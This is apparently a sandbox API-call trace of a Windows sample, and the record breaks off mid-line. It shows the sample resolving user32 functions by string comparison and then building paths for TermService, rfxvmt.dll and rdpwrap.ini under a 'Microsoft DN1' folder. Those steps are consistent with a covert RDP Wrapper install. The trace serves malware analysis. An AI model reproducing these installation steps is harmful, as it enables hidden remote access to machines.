[0294.701] lstrcmpA (lpString1="CheckMenuRadioItem", lpString2="GetRawInputData") returned -1 [0294.701] lstrcmpA (lpString1="CheckRadioButton", lpString2="GetRawInputData") returned -1 [0294.701] lstrcmpA (lpString1="CheckWindowThreadDesktop", lpString2="GetRawInputData") returned -1 [0294.701] lstrcmpA (lpString1="ChildWindowFromPoint", lpString2="GetRawInputData") returned -1 [0294.701] lstrcmpA (lpString1="ChildWindowFromPointEx", lpString2="GetRawInputData") returned -1 [0294.701] lstrcmpA (lpString1="CliImmSetHotKey", lpString2="GetRawInputData") returned -1 [0294.701] lstrcmpA (lpString1="ClientThreadSetup", lpString2="GetRawInputData") returned -1 [0294.701] lstrcmpA (lpString1="ClientToScreen", lpString2="GetRawInputData") returned -1 [0294.701] lstrcmpA (lpString1="ClipCursor", lpString2="GetRawInputData") returned -1 [0294.701] lstrcmpA (lpString1="CloseClipboard", lpString2="GetRawInputData") returned -1 [0294.701] lstrcmpA (lpString1="CloseDesktop", lpString2="GetRawInputData") returned -1 [0294.701] lstrcmpA (lpString1="CloseGestureInfoHandle", lpString2="GetRawInputData") returned -1 [0294.701] lstrcmpA (lpString1="CloseTouchInputHandle", lpString2="GetRawInputData") returned -1 [0294.701] lstrcmpA (lpString1="CloseWindow", lpString2="GetRawInputData") returned -1 [0294.701] lstrcmpA (lpString1="CloseWindowStation", lpString2="GetRawInputData") returned -1 [0294.701] lstrcmpA (lpString1="ConsoleControl", lpString2="GetRawInputData") returned -1 [0294.701] lstrcmpA (lpString1="ControlMagnification", lpString2="GetRawInputData") returned -1 [0294.701] lstrcmpA (lpString1="CopyAcceleratorTableA", lpString2="GetRawInputData") returned -1 [0294.702] lstrcmpA (lpString1="CopyAcceleratorTableW", lpString2="GetRawInputData") returned -1 [0294.702] lstrcmpA (lpString1="CopyIcon", lpString2="GetRawInputData") returned -1 [0294.702] lstrcmpA (lpString1="CopyImage", lpString2="GetRawInputData") returned -1 [0294.702] lstrcmpA (lpString1="CopyRect", lpString2="GetRawInputData") returned -1 [0294.702] lstrcmpA (lpString1="CountClipboardFormats", lpString2="GetRawInputData") returned -1 [0294.702] lstrcmpA (lpString1="CreateAcceleratorTableA", lpString2="GetRawInputData") returned -1 [0294.702] lstrcmpA (lpString1="CreateAcceleratorTableW", lpString2="GetRawInputData") returned -1 [0294.702] lstrcmpA (lpString1="CreateCaret", lpString2="GetRawInputData") returned -1 [0294.702] lstrcmpA (lpString1="CreateCursor", lpString2="GetRawInputData") returned -1 [0294.702] lstrcmpA (lpString1="CreateDesktopA", lpString2="GetRawInputData") returned -1 [0294.702] lstrcmpA (lpString1="CreateDesktopExA", lpString2="GetRawInputData") returned -1 [0294.702] lstrcmpA (lpString1="CreateDesktopExW", lpString2="GetRawInputData") returned -1 [0294.702] lstrcmpA (lpString1="CreateDesktopW", lpString2="GetRawInputData") returned -1 [0294.702] lstrcmpA (lpString1="CreateDialogIndirectParamA", lpString2="GetRawInputData") returned -1 [0294.702] lstrcmpA (lpString1="CreateDialogIndirectParamAorW", lpString2="GetRawInputData") returned -1 [0294.702] lstrcmpA (lpString1="CreateDialogIndirectParamW", lpString2="GetRawInputData") returned -1 [0294.702] lstrcmpA (lpString1="CreateDialogParamA", lpString2="GetRawInputData") returned -1 [0294.702] lstrcmpA (lpString1="CreateDialogParamW", lpString2="GetRawInputData") returned -1 [0294.702] lstrcmpA (lpString1="CreateIcon", lpString2="GetRawInputData") returned -1 [0294.703] lstrcmpA (lpString1="CreateIconFromResource", lpString2="GetRawInputData") returned -1 [0294.703] lstrcmpA (lpString1="CreateIconFromResourceEx", lpString2="GetRawInputData") returned -1 [0294.703] lstrcmpA (lpString1="CreateIconIndirect", lpString2="GetRawInputData") returned -1 [0294.703] lstrcmpA (lpString1="CreateMDIWindowA", lpString2="GetRawInputData") returned -1 [0294.703] lstrcmpA (lpString1="CreateMDIWindowW", lpString2="GetRawInputData") returned -1 [0294.703] lstrcmpA (lpString1="CreateMenu", lpString2="GetRawInputData") returned -1 [0294.703] lstrcmpA (lpString1="CreatePopupMenu", lpString2="GetRawInputData") returned -1 [0294.703] lstrcmpA (lpString1="CreateSystemThreads", lpString2="GetRawInputData") returned -1 [0294.703] lstrcmpA (lpString1="CreateWindowExA", lpString2="GetRawInputData") returned -1 [0294.703] lstrcmpA (lpString1="CreateWindowExW", lpString2="GetRawInputData") returned -1 [0294.703] lstrcmpA (lpString1="CreateWindowStationA", lpString2="GetRawInputData") returned -1 [0294.703] lstrcmpA (lpString1="CreateWindowStationW", lpString2="GetRawInputData") returned -1 [0294.703] lstrcmpA (lpString1="CsrBroadcastSystemMessageExW", lpString2="GetRawInputData") returned -1 [0294.703] lstrcmpA (lpString1="CtxInitUser32", lpString2="GetRawInputData") returned -1 [0294.703] lstrcmpA (lpString1="DdeAbandonTransaction", lpString2="GetRawInputData") returned -1 [0294.703] lstrcmpA (lpString1="DdeAccessData", lpString2="GetRawInputData") returned -1 [0294.703] lstrcmpA (lpString1="DdeAddData", lpString2="GetRawInputData") returned -1 [0294.703] lstrcmpA (lpString1="DdeClientTransaction", lpString2="GetRawInputData") returned -1 [0294.703] lstrcmpA (lpString1="DdeCmpStringHandles", lpString2="GetRawInputData") returned -1 [0294.703] lstrcmpA (lpString1="DdeConnect", lpString2="GetRawInputData") returned -1 [0294.703] lstrcmpA (lpString1="DdeConnectList", lpString2="GetRawInputData") returned -1 [0294.703] lstrcmpA (lpString1="DdeCreateDataHandle", lpString2="GetRawInputData") returned -1 [0294.703] lstrcmpA (lpString1="DdeCreateStringHandleA", lpString2="GetRawInputData") returned -1 [0294.703] lstrcmpA (lpString1="DdeCreateStringHandleW", lpString2="GetRawInputData") returned -1 [0294.703] lstrcmpA (lpString1="DdeDisconnect", lpString2="GetRawInputData") returned -1 [0294.703] lstrcmpA (lpString1="DdeDisconnectList", lpString2="GetRawInputData") returned -1 [0294.703] lstrcmpA (lpString1="DdeEnableCallback", lpString2="GetRawInputData") returned -1 [0294.703] lstrcmpA (lpString1="DdeFreeDataHandle", lpString2="GetRawInputData") returned -1 [0294.703] lstrcmpA (lpString1="DdeFreeStringHandle", lpString2="GetRawInputData") returned -1 [0294.703] lstrcmpA (lpString1="DdeGetData", lpString2="GetRawInputData") returned -1 [0294.703] lstrcmpA (lpString1="DdeGetLastError", lpString2="GetRawInputData") returned -1 [0294.703] lstrcmpA (lpString1="DdeGetQualityOfService", lpString2="GetRawInputData") returned -1 [0294.704] lstrcmpA (lpString1="DdeImpersonateClient", lpString2="GetRawInputData") returned -1 [0294.704] lstrcmpA (lpString1="DdeInitializeA", lpString2="GetRawInputData") returned -1 [0294.704] lstrcmpA (lpString1="DdeInitializeW", lpString2="GetRawInputData") returned -1 [0294.704] lstrcmpA (lpString1="DdeKeepStringHandle", lpString2="GetRawInputData") returned -1 [0294.704] lstrcmpA (lpString1="DdeNameService", lpString2="GetRawInputData") returned -1 [0294.704] lstrcmpA (lpString1="DdePostAdvise", lpString2="GetRawInputData") returned -1 [0294.704] lstrcmpA (lpString1="DdeQueryConvInfo", lpString2="GetRawInputData") returned -1 [0294.704] lstrcmpA (lpString1="DdeQueryNextServer", lpString2="GetRawInputData") returned -1 [0294.704] lstrcmpA (lpString1="DdeQueryStringA", lpString2="GetRawInputData") returned -1 [0294.704] lstrcmpA (lpString1="DdeQueryStringW", lpString2="GetRawInputData") returned -1 [0294.704] lstrcmpA (lpString1="DdeReconnect", lpString2="GetRawInputData") returned -1 [0294.704] lstrcmpA (lpString1="DdeSetQualityOfService", lpString2="GetRawInputData") returned -1 [0294.704] lstrcmpA (lpString1="DdeSetUserHandle", lpString2="GetRawInputData") returned -1 [0294.704] lstrcmpA (lpString1="DdeUnaccessData", lpString2="GetRawInputData") returned -1 [0294.704] lstrcmpA (lpString1="DdeUninitialize", lpString2="GetRawInputData") returned -1 [0294.704] lstrcmpA (lpString1="DefDlgProcA", lpString2="GetRawInputData") returned -1 [0294.704] lstrcmpA (lpString1="DefDlgProcW", lpString2="GetRawInputData") returned -1 [0294.704] lstrcmpA (lpString1="DefFrameProcA", lpString2="GetRawInputData") returned -1 [0294.704] lstrcmpA (lpString1="DefFrameProcW", lpString2="GetRawInputData") returned -1 [0294.704] lstrcmpA (lpString1="DefMDIChildProcA", lpString2="GetRawInputData") returned -1 [0294.704] lstrcmpA (lpString1="DefMDIChildProcW", lpString2="GetRawInputData") returned -1 [0294.704] lstrcmpA (lpString1="DefRawInputProc", lpString2="GetRawInputData") returned -1 [0294.704] lstrcmpA (lpString1="DefWindowProcA", lpString2="GetRawInputData") returned -1 [0294.704] lstrcmpA (lpString1="DefWindowProcW", lpString2="GetRawInputData") returned -1 [0294.704] lstrcmpA (lpString1="DeferWindowPos", lpString2="GetRawInputData") returned -1 [0294.704] lstrcmpA (lpString1="DeleteMenu", lpString2="GetRawInputData") returned -1 [0294.704] lstrcmpA (lpString1="DeregisterShellHookWindow", lpString2="GetRawInputData") returned -1 [0294.704] lstrcmpA (lpString1="DestroyAcceleratorTable", lpString2="GetRawInputData") returned -1 [0294.704] lstrcmpA (lpString1="DestroyCaret", lpString2="GetRawInputData") returned -1 [0294.704] lstrcmpA (lpString1="DestroyCursor", lpString2="GetRawInputData") returned -1 [0294.704] lstrcmpA (lpString1="DestroyIcon", lpString2="GetRawInputData") returned -1 [0294.704] lstrcmpA (lpString1="DestroyMenu", lpString2="GetRawInputData") returned -1 [0294.704] lstrcmpA (lpString1="DestroyReasons", lpString2="GetRawInputData") returned -1 [0294.705] lstrcmpA (lpString1="DestroyWindow", lpString2="GetRawInputData") returned -1 [0294.705] lstrcmpA (lpString1="DeviceEventWorker", lpString2="GetRawInputData") returned -1 [0294.705] lstrcmpA (lpString1="DialogBoxIndirectParamA", lpString2="GetRawInputData") returned -1 [0294.705] lstrcmpA (lpString1="DialogBoxIndirectParamAorW", lpString2="GetRawInputData") returned -1 [0294.705] lstrcmpA (lpString1="DialogBoxIndirectParamW", lpString2="GetRawInputData") returned -1 [0294.705] lstrcmpA (lpString1="DialogBoxParamA", lpString2="GetRawInputData") returned -1 [0294.705] lstrcmpA (lpString1="DialogBoxParamW", lpString2="GetRawInputData") returned -1 [0294.705] lstrcmpA (lpString1="DisableProcessWindowsGhosting", lpString2="GetRawInputData") returned -1 [0294.705] lstrcmpA (lpString1="DispatchMessageA", lpString2="GetRawInputData") returned -1 [0294.705] lstrcmpA (lpString1="DispatchMessageW", lpString2="GetRawInputData") returned -1 [0294.705] lstrcmpA (lpString1="DisplayConfigGetDeviceInfo", lpString2="GetRawInputData") returned -1 [0294.705] lstrcmpA (lpString1="DisplayConfigSetDeviceInfo", lpString2="GetRawInputData") returned -1 [0294.705] lstrcmpA (lpString1="DisplayExitWindowsWarnings", lpString2="GetRawInputData") returned -1 [0294.705] lstrcmpA (lpString1="DlgDirListA", lpString2="GetRawInputData") returned -1 [0294.705] lstrcmpA (lpString1="DlgDirListComboBoxA", lpString2="GetRawInputData") returned -1 [0294.705] lstrcmpA (lpString1="DlgDirListComboBoxW", lpString2="GetRawInputData") returned -1 [0294.705] lstrcmpA (lpString1="DlgDirListW", lpString2="GetRawInputData") returned -1 [0294.705] lstrcmpA (lpString1="DlgDirSelectComboBoxExA", lpString2="GetRawInputData") returned -1 [0294.705] lstrcmpA (lpString1="DlgDirSelectComboBoxExW", lpString2="GetRawInputData") returned -1 [0294.705] lstrcmpA (lpString1="DlgDirSelectExA", lpString2="GetRawInputData") returned -1 [0294.705] lstrcmpA (lpString1="DlgDirSelectExW", lpString2="GetRawInputData") returned -1 [0294.705] lstrcmpA (lpString1="DoSoundConnect", lpString2="GetRawInputData") returned -1 [0294.705] lstrcmpA (lpString1="DoSoundDisconnect", lpString2="GetRawInputData") returned -1 [0294.705] lstrcmpA (lpString1="DragDetect", lpString2="GetRawInputData") returned -1 [0294.705] lstrcmpA (lpString1="DragObject", lpString2="GetRawInputData") returned -1 [0294.705] lstrcmpA (lpString1="DrawAnimatedRects", lpString2="GetRawInputData") returned -1 [0294.705] lstrcmpA (lpString1="DrawCaption", lpString2="GetRawInputData") returned -1 [0294.705] lstrcmpA (lpString1="DrawCaptionTempA", lpString2="GetRawInputData") returned -1 [0294.705] lstrcmpA (lpString1="DrawCaptionTempW", lpString2="GetRawInputData") returned -1 [0294.705] lstrcmpA (lpString1="DrawEdge", lpString2="GetRawInputData") returned -1 [0294.705] lstrcmpA (lpString1="DrawFocusRect", lpString2="GetRawInputData") returned -1 [0294.705] lstrcmpA (lpString1="DrawFrame", lpString2="GetRawInputData") returned -1 [0294.706] lstrcmpA (lpString1="DrawFrameControl", lpString2="GetRawInputData") returned -1 [0294.706] lstrcmpA (lpString1="DrawIcon", lpString2="GetRawInputData") returned -1 [0294.706] lstrcmpA (lpString1="DrawIconEx", lpString2="GetRawInputData") returned -1 [0294.706] lstrcmpA (lpString1="DrawMenuBar", lpString2="GetRawInputData") returned -1 [0294.706] lstrcmpA (lpString1="DrawMenuBarTemp", lpString2="GetRawInputData") returned -1 [0294.706] lstrcmpA (lpString1="DrawStateA", lpString2="GetRawInputData") returned -1 [0294.706] lstrcmpA (lpString1="DrawStateW", lpString2="GetRawInputData") returned -1 [0294.706] lstrcmpA (lpString1="DrawTextA", lpString2="GetRawInputData") returned -1 [0294.706] lstrcmpA (lpString1="DrawTextExA", lpString2="GetRawInputData") returned -1 [0294.706] lstrcmpA (lpString1="DrawTextExW", lpString2="GetRawInputData") returned -1 [0294.706] lstrcmpA (lpString1="DrawTextW", lpString2="GetRawInputData") returned -1 [0294.706] lstrcmpA (lpString1="DwmGetDxSharedSurface", lpString2="GetRawInputData") returned -1 [0294.706] lstrcmpA (lpString1="DwmStartRedirection", lpString2="GetRawInputData") returned -1 [0294.706] lstrcmpA (lpString1="DwmStopRedirection", lpString2="GetRawInputData") returned -1 [0294.706] lstrcmpA (lpString1="EditWndProc", lpString2="GetRawInputData") returned -1 [0294.706] lstrcmpA (lpString1="EmptyClipboard", lpString2="GetRawInputData") returned -1 [0294.706] lstrcmpA (lpString1="EnableMenuItem", lpString2="GetRawInputData") returned -1 [0294.706] lstrcmpA (lpString1="EnableScrollBar", lpString2="GetRawInputData") returned -1 [0294.706] lstrcmpA (lpString1="EnableWindow", lpString2="GetRawInputData") returned -1 [0294.706] lstrcmpA (lpString1="EndDeferWindowPos", lpString2="GetRawInputData") returned -1 [0294.706] lstrcmpA (lpString1="EndDialog", lpString2="GetRawInputData") returned -1 [0294.706] lstrcmpA (lpString1="EndMenu", lpString2="GetRawInputData") returned -1 [0294.706] lstrcmpA (lpString1="EndPaint", lpString2="GetRawInputData") returned -1 [0294.706] lstrcmpA (lpString1="EndTask", lpString2="GetRawInputData") returned -1 [0294.706] lstrcmpA (lpString1="EnterReaderModeHelper", lpString2="GetRawInputData") returned -1 [0294.706] lstrcmpA (lpString1="EnumChildWindows", lpString2="GetRawInputData") returned -1 [0294.706] lstrcmpA (lpString1="EnumClipboardFormats", lpString2="GetRawInputData") returned -1 [0294.706] lstrcmpA (lpString1="EnumDesktopWindows", lpString2="GetRawInputData") returned -1 [0294.706] lstrcmpA (lpString1="EnumDesktopsA", lpString2="GetRawInputData") returned -1 [0294.706] lstrcmpA (lpString1="EnumDesktopsW", lpString2="GetRawInputData") returned -1 [0294.706] lstrcmpA (lpString1="EnumDisplayDevicesA", lpString2="GetRawInputData") returned -1 [0294.706] lstrcmpA (lpString1="EnumDisplayDevicesW", lpString2="GetRawInputData") returned -1 [0294.707] lstrcmpA (lpString1="EnumDisplayMonitors", lpString2="GetRawInputData") returned -1 [0294.707] lstrcmpA (lpString1="EnumDisplaySettingsA", lpString2="GetRawInputData") returned -1 [0294.707] lstrcmpA (lpString1="EnumDisplaySettingsExA", lpString2="GetRawInputData") returned -1 [0294.707] lstrcmpA (lpString1="EnumDisplaySettingsExW", lpString2="GetRawInputData") returned -1 [0294.707] lstrcmpA (lpString1="EnumDisplaySettingsW", lpString2="GetRawInputData") returned -1 [0294.707] lstrcmpA (lpString1="EnumPropsA", lpString2="GetRawInputData") returned -1 [0294.707] lstrcmpA (lpString1="EnumPropsExA", lpString2="GetRawInputData") returned -1 [0294.707] lstrcmpA (lpString1="EnumPropsExW", lpString2="GetRawInputData") returned -1 [0294.707] lstrcmpA (lpString1="EnumPropsW", lpString2="GetRawInputData") returned -1 [0294.707] lstrcmpA (lpString1="EnumThreadWindows", lpString2="GetRawInputData") returned -1 [0294.707] lstrcmpA (lpString1="EnumWindowStationsA", lpString2="GetRawInputData") returned -1 [0294.707] lstrcmpA (lpString1="EnumWindowStationsW", lpString2="GetRawInputData") returned -1 [0294.707] lstrcmpA (lpString1="EnumWindows", lpString2="GetRawInputData") returned -1 [0294.707] lstrcmpA (lpString1="EqualRect", lpString2="GetRawInputData") returned -1 [0294.707] lstrcmpA (lpString1="ExcludeUpdateRgn", lpString2="GetRawInputData") returned -1 [0294.707] lstrcmpA (lpString1="ExitWindowsEx", lpString2="GetRawInputData") returned -1 [0294.707] lstrcmpA (lpString1="FillRect", lpString2="GetRawInputData") returned -1 [0294.707] lstrcmpA (lpString1="FindWindowA", lpString2="GetRawInputData") returned -1 [0294.707] lstrcmpA (lpString1="FindWindowExA", lpString2="GetRawInputData") returned -1 [0294.709] GetProcessHeap () returned 0x9c0000 [0294.709] RtlAllocateHeap (HeapHandle=0x9c0000, Flags=0x0, Size=0x18) returned 0x9e7840 [0294.709] lstrlenW (lpString="TermService") returned 11 [0294.709] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x3a0000 [0294.710] lstrlenW (lpString="TermService") returned 11 [0294.710] lstrcpyW (in: lpString1=0x3a0000, lpString2="TermService" | out: lpString1="TermService") returned="TermService" [0294.710] lstrlenW (lpString="TermService") returned 11 [0294.710] VirtualAlloc (lpAddress=0x0, dwSize=0x1a, flAllocationType=0x3000, flProtect=0x4) returned 0x3b0000 [0294.710] lstrcatW (in: lpString1="", lpString2="TermService" | out: lpString1="TermService") returned="TermService" [0294.710] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.711] lstrlenW (lpString="%ProgramFiles%") returned 14 [0294.711] VirtualAlloc (lpAddress=0x0, dwSize=0x1e, flAllocationType=0x3000, flProtect=0x4) returned 0x3a0000 [0294.711] lstrlenW (lpString="%ProgramFiles%") returned 14 [0294.711] lstrcpyW (in: lpString1=0x3a0000, lpString2="%ProgramFiles%" | out: lpString1="%ProgramFiles%") returned="%ProgramFiles%" [0294.711] lstrlenW (lpString="%ProgramFiles%") returned 14 [0294.711] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x3c0000 [0294.711] lstrcatW (in: lpString1="", lpString2="%ProgramFiles%" | out: lpString1="%ProgramFiles%") returned="%ProgramFiles%" [0294.711] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.711] lstrlenW (lpString="%windir%\\System32") returned 17 [0294.711] VirtualAlloc (lpAddress=0x0, dwSize=0x24, flAllocationType=0x3000, flProtect=0x4) returned 0x3a0000 [0294.712] lstrlenW (lpString="%windir%\\System32") returned 17 [0294.712] lstrcpyW (in: lpString1=0x3a0000, lpString2="%windir%\\System32" | out: lpString1="%windir%\\System32") returned="%windir%\\System32" [0294.712] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32", lpDst=0x2af6a4, nSize=0x1ff | out: lpDst="C:\\Windows\\System32") returned 0x14 [0294.712] lstrlenW (lpString="C:\\Windows\\System32") returned 19 [0294.712] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x3d0000 [0294.712] lstrlenW (lpString="C:\\Windows\\System32") returned 19 [0294.712] lstrcpyW (in: lpString1=0x3d0000, lpString2="C:\\Windows\\System32" | out: lpString1="C:\\Windows\\System32") returned="C:\\Windows\\System32" [0294.712] lstrlenW (lpString="C:\\Windows\\System32") returned 19 [0294.712] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x3e0000 [0294.712] lstrcpyW (in: lpString1=0x3e0000, lpString2="C:\\Windows\\System32" | out: lpString1="C:\\Windows\\System32") returned="C:\\Windows\\System32" [0294.712] VirtualFree (lpAddress=0x3d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.712] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.713] GetCurrentProcess () returned 0xffffffff [0294.713] GetModuleHandleA (lpModuleName="kernel32") returned 0x772b0000 [0294.713] GetProcAddress (hModule=0x772b0000, lpProcName="IsWow64Process") returned 0x772c193e [0294.713] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x2afa94 | out: Wow64Process=0x2afa94*=1) returned 1 [0294.713] VirtualFree (lpAddress=0x3c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.713] lstrlenW (lpString="%ProgramW6432%") returned 14 [0294.713] VirtualAlloc (lpAddress=0x0, dwSize=0x1e, flAllocationType=0x3000, flProtect=0x4) returned 0x3a0000 [0294.713] lstrlenW (lpString="%ProgramW6432%") returned 14 [0294.713] lstrcpyW (in: lpString1=0x3a0000, lpString2="%ProgramW6432%" | out: lpString1="%ProgramW6432%") returned="%ProgramW6432%" [0294.713] lstrlenW (lpString="%ProgramW6432%") returned 14 [0294.713] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x3c0000 [0294.714] lstrcatW (in: lpString1="", lpString2="%ProgramW6432%" | out: lpString1="%ProgramW6432%") returned="%ProgramW6432%" [0294.714] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.714] ExpandEnvironmentStringsW (in: lpSrc="%ProgramW6432%", lpDst=0x2af6a4, nSize=0x1ff | out: lpDst="C:\\Program Files") returned 0x11 [0294.714] lstrlenW (lpString="C:\\Program Files") returned 16 [0294.714] VirtualAlloc (lpAddress=0x0, dwSize=0x22, flAllocationType=0x3000, flProtect=0x4) returned 0x3a0000 [0294.714] lstrlenW (lpString="C:\\Program Files") returned 16 [0294.714] lstrcpyW (in: lpString1=0x3a0000, lpString2="C:\\Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files" [0294.714] lstrlenW (lpString="C:\\Program Files") returned 16 [0294.714] VirtualAlloc (lpAddress=0x0, dwSize=0x22, flAllocationType=0x3000, flProtect=0x4) returned 0x3d0000 [0294.714] lstrcpyW (in: lpString1=0x3d0000, lpString2="C:\\Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files" [0294.714] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.715] VirtualFree (lpAddress=0x3c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.715] lstrlenW (lpString="%ProgramFiles%") returned 14 [0294.715] VirtualAlloc (lpAddress=0x0, dwSize=0x1e, flAllocationType=0x3000, flProtect=0x4) returned 0x3a0000 [0294.715] lstrlenW (lpString="%ProgramFiles%") returned 14 [0294.715] lstrcpyW (in: lpString1=0x3a0000, lpString2="%ProgramFiles%" | out: lpString1="%ProgramFiles%") returned="%ProgramFiles%" [0294.715] lstrlenW (lpString="%ProgramFiles%") returned 14 [0294.715] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x3c0000 [0294.715] lstrcatW (in: lpString1="", lpString2="%ProgramFiles%" | out: lpString1="%ProgramFiles%") returned="%ProgramFiles%" [0294.715] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.716] lstrlenW (lpString="\\Microsoft DN1") returned 14 [0294.716] VirtualAlloc (lpAddress=0x0, dwSize=0x1e, flAllocationType=0x3000, flProtect=0x4) returned 0x3a0000 [0294.716] lstrlenW (lpString="\\Microsoft DN1") returned 14 [0294.716] lstrcpyW (in: lpString1=0x3a0000, lpString2="\\Microsoft DN1" | out: lpString1="\\Microsoft DN1") returned="\\Microsoft DN1" [0294.716] lstrlenW (lpString="\\Microsoft DN1") returned 14 [0294.716] lstrlenW (lpString="C:\\Program Files") returned 16 [0294.716] VirtualQuery (in: lpAddress=0x3d0000, lpBuffer=0x2afa48, dwLength=0x1c | out: lpBuffer=0x2afa48*(BaseAddress=0x3d0000, AllocationBase=0x3d0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0294.716] VirtualAlloc (lpAddress=0x0, dwSize=0x40, flAllocationType=0x3000, flProtect=0x4) returned 0x3f0000 [0294.716] VirtualFree (lpAddress=0x3d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.716] lstrcatW (in: lpString1="C:\\Program Files", lpString2="\\Microsoft DN1" | out: lpString1="C:\\Program Files\\Microsoft DN1") returned="C:\\Program Files\\Microsoft DN1" [0294.716] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.717] lstrlenW (lpString="\\Microsoft DN1") returned 14 [0294.717] VirtualAlloc (lpAddress=0x0, dwSize=0x1e, flAllocationType=0x3000, flProtect=0x4) returned 0x3a0000 [0294.717] lstrlenW (lpString="\\Microsoft DN1") returned 14 [0294.717] lstrcpyW (in: lpString1=0x3a0000, lpString2="\\Microsoft DN1" | out: lpString1="\\Microsoft DN1") returned="\\Microsoft DN1" [0294.717] lstrlenW (lpString="\\Microsoft DN1") returned 14 [0294.717] lstrlenW (lpString="%ProgramFiles%") returned 14 [0294.717] VirtualQuery (in: lpAddress=0x3c0000, lpBuffer=0x2afa48, dwLength=0x1c | out: lpBuffer=0x2afa48*(BaseAddress=0x3c0000, AllocationBase=0x3c0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0294.717] VirtualAlloc (lpAddress=0x0, dwSize=0x3c, flAllocationType=0x3000, flProtect=0x4) returned 0x3d0000 [0294.717] VirtualFree (lpAddress=0x3c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.788] lstrcatW (in: lpString1="%ProgramFiles%", lpString2="\\Microsoft DN1" | out: lpString1="%ProgramFiles%\\Microsoft DN1") returned="%ProgramFiles%\\Microsoft DN1" [0294.788] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.789] lstrlenW (lpString="\\rfxvmt.dll") returned 11 [0294.789] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x3a0000 [0294.789] lstrlenW (lpString="\\rfxvmt.dll") returned 11 [0294.789] lstrcpyW (in: lpString1=0x3a0000, lpString2="\\rfxvmt.dll" | out: lpString1="\\rfxvmt.dll") returned="\\rfxvmt.dll" [0294.789] lstrlenW (lpString="\\rfxvmt.dll") returned 11 [0294.789] lstrlenW (lpString="C:\\Windows\\System32") returned 19 [0294.789] VirtualQuery (in: lpAddress=0x3e0000, lpBuffer=0x2afa48, dwLength=0x1c | out: lpBuffer=0x2afa48*(BaseAddress=0x3e0000, AllocationBase=0x3e0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0294.789] VirtualAlloc (lpAddress=0x0, dwSize=0x40, flAllocationType=0x3000, flProtect=0x4) returned 0x3c0000 [0294.789] VirtualFree (lpAddress=0x3e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.790] lstrcatW (in: lpString1="C:\\Windows\\System32", lpString2="\\rfxvmt.dll" | out: lpString1="C:\\Windows\\System32\\rfxvmt.dll") returned="C:\\Windows\\System32\\rfxvmt.dll" [0294.790] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.790] SHCreateDirectoryExW (hwnd=0x0, pszPath="C:\\Program Files\\Microsoft DN1" (normalized: "c:\\program files\\microsoft dn1"), psa=0x0) returned 5 [0294.791] lstrlenW (lpString="C:\\Program Files\\Microsoft DN1") returned 30 [0294.791] VirtualAlloc (lpAddress=0x0, dwSize=0x3e, flAllocationType=0x3000, flProtect=0x4) returned 0x3a0000 [0294.791] lstrcpyW (in: lpString1=0x3a0000, lpString2="C:\\Program Files\\Microsoft DN1" | out: lpString1="C:\\Program Files\\Microsoft DN1") returned="C:\\Program Files\\Microsoft DN1" [0294.791] lstrlenW (lpString="\\rdpwrap.ini") returned 12 [0294.791] VirtualAlloc (lpAddress=0x0, dwSize=0x1a, flAllocationType=0x3000, flProtect=0x4) returned 0x3e0000 [0294.792] lstrlenW (lpString="\\rdpwrap.ini") returned 12 [0294.792] lstrcpyW (in: lpString1=0x3e0000, lpString2="\\rdpwrap.ini" | out: lpString1="\\rdpwrap.ini") returned="\\rdpwrap.ini" [0294.792] lstrlenW (lpString="\\rdpwrap.ini") returned 12 [0294.792] lstrlenW (lpString="C:\\Program Files\\Microsoft DN1") returned 30 [0294.792] VirtualQuery (in: lpAddress=0x3a0000, lpBuffer=0x2afa48, dwLength=0x1c | out: lpBuffer=0x2afa48*(BaseAddress=0x3a0000, AllocationBase=0x3a0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0294.792] VirtualAlloc (lpAddress=0x0, dwSize=0x58, flAllocationType=0x3000, flProtect=0x4) returned 0x6f0000 [0294.792] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.792] lstrcatW (in: lpString1="C:\\Program Files\\Microsoft DN1", lpString2="\\rdpwrap.ini" | out: lpString1="C:\\Program Files\\Microsoft 